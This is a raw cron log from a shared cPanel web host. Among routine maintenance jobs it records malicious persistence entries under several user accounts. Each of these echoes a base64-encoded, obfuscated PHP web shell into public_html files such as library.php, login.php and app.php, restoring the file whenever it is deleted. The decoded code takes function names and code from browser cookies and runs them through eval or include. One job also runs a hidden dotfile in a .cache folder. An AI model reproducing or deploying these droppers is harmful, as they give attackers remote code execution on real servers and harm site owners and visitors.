Jun  7 04:05:01 medusa CROND[14866]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:05:01 medusa CROND[14867]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:05:01 medusa CROND[14860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 04:05:01 medusa CROND[14869]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:05:01 medusa CROND[14871]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:05:01 medusa CROND[14872]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:05:01 medusa CROND[14863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:06:01 medusa CROND[16599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:06:01 medusa CROND[16612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:06:01 medusa CROND[16644]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:06:01 medusa CROND[16643]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:06:01 medusa CROND[16645]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:06:01 medusa CROND[16646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:06:01 medusa CROND[16650]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:06:01 medusa CROND[16651]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:06:01 medusa CROND[16653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:06:01 medusa CROND[16652]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:06:01 medusa CROND[16654]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:06:01 medusa CROND[16655]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:06:01 medusa CROND[16658]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:06:01 medusa CROND[16660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:06:01 medusa CROND[16661]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:07:01 medusa CROND[18263]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:07:01 medusa CROND[18265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:07:01 medusa CROND[18264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:07:01 medusa CROND[18266]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:07:01 medusa CROND[18267]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:07:01 medusa CROND[18268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:07:01 medusa CROND[18271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:07:01 medusa CROND[18275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:07:01 medusa CROND[18272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:07:01 medusa CROND[18274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:07:01 medusa CROND[18276]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
